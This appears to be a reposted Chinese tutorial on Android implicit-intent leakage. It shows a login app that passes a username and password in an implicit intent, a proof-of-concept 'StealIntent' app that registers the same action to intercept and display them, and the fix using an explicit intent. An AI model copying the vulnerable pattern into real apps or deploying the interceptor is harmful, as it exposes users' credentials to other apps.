原文: http://www.sectop.com/?p=187
一、intent简介
android环境中,intent主要用于信息传递,intent如果使用隐式方式(setaction)来标识intent消息,接收方通过此action来接收信息。
如果intent没有明确指定哪些接收方有权限接收,则恶意程序指定action标识后,获取intent内容,将导致数据泄露。
二、实例
intent可以分别用startactivity,startservice,sendbroadcast方法,给activity,service和broadcat传递信息。
下面例子使用activity,
应用SendIntent是正常应用,有两个activity,LoginActivity用于登录界面,MainActiviey用于显示登录后的界面和提交的intent信息;
SendIntent androidmanifest.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<?
xml
version
=
"1.0"
encoding
=
"utf-8"
?>
package
=
"com.xiaod.SendIntent"
android:versionCode
=
"1"
android:versionName
=
"1.0"
>
<
uses-sdk
android:minSdkVersion
=
"8"
/>
<
application
android:icon
=
"@drawable/icon"
android:label
=
"@string/app_name"
>
<
activity
android:name
=
".LoginActivity"
android:label
=
"@string/app_name"
>
<
intent-filter
>
<
action
android:name
=
"android.intent.action.MAIN"
/>
<
category
android:name
=
"android.intent.category.LAUNCHER"
/>
</
intent-filter
>
</
activity
>
<
activity
android:name
=
".MainActivity"
android:label
=
"Main"
>
<
intent-filter
>
<
action
android:name
=
"com.xiaod.SendIntent.action.main"
/>
<
category
android:name
=
"android.intent.category.DEFAULT"
/>
</
intent-filter
>
</
activity
>
</
application
>
</
manifest
>
|
LoginActivity.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
package
com.xiaod.SendIntent;
import
android.app.Activity;
import
android.content.Intent;
import
android.os.Bundle;
import
android.view.View;
import
android.view.View.OnClickListener;
import
android.widget.Button;
import
android.widget.EditText;
public
class
LoginActivity
extends
Activity {
private
EditText et_user;
private
EditText et_pwd;
private
Button btn_login;
/** Called when the activity is first created. */
@Override
public
void
onCreate(Bundle savedInstanceState) {
super
.onCreate(savedInstanceState);
setContentView(R.layout.login);
et_user = (EditText) findViewById(R.id.et_user);
et_pwd = (EditText) findViewById(R.id.et_pwd);
btn_login = (Button) findViewById(R.id.btn_login);
btn_login.setOnClickListener(
new
OnClickListener(){
@Override
public
void
onClick(View v) {
// TODO Auto-generated method stub
Intent m_intent =
new
Intent();
m_intent.putExtra(
"username"
, et_user.getText().toString());
m_intent.putExtra(
"password"
, et_pwd.getText().toString());
m_intent.setAction(
"com.xiaod.SendIntent.action.main"
);
m_intent.addCategory(Intent.CATEGORY_DEFAULT);
startActivity(m_intent);
}
});
}
}
|
应用StealIntent是恶意应用,用于窃听SendIntent应用中LoginActivity界面发送给MainActiviey界面的intent。
StealIntent androidmanifest.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?
xml
version
=
"1.0"
encoding
=
"utf-8"
?>
package
=
"com.xiaod.StealIntent"
android:versionCode
=
"1"
android:versionName
=
"1.0"
>
<
uses-sdk
android:minSdkVersion
=
"8"
/>
<
application
android:icon
=
"@drawable/icon"
android:label
=
"@string/app_name"
>
<
activity
android:name
=
".StealIntentActivity"
android:label
=
"@string/app_name"
>
<
intent-filter
>
<
action
android:name
=
"com.xiaod.SendIntent.action.main"
/>
<
category
android:name
=
"android.intent.category.DEFAULT"
/>
</
intent-filter
>
</
activity
>
</
application
>
</
manifest
>
|
StealIntentActivity.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
package
com.xiaod.StealIntent;
import
android.app.Activity;
import
android.os.Bundle;
import
android.widget.Toast;
public
class
StealIntentActivity
extends
Activity {
/** Called when the activity is first created. */
@Override
public
void
onCreate(Bundle savedInstanceState) {
super
.onCreate(savedInstanceState);
setContentView(R.layout.main);
Toast.makeText(getBaseContext(),
"username: "
+
this
.getIntent().getStringExtra(
"username"
)+
"\npassword: "
+
this
.getIntent().getStringExtra(
"password"
),
Toast.LENGTH_SHORT).show();
}
}
|
在SendIntent点击登录后,StealIntent也会接收到intent发送的信息
三、解决方法
不要使用action标识intent,显式地指定intent发送到的包和处理类
1
2
3
4
5
|
Intent m_intent =
new
Intent();
m_intent.putExtra(
"username"
, et_user.getText().toString());
m_intent.putExtra(
"password"
, et_pwd.getText().toString());
m_intent.setClassName(
"com.xiaod.SendIntent"
,
"com.xiaod.SendIntent.MainActivity"
);
startActivity(m_intent);
|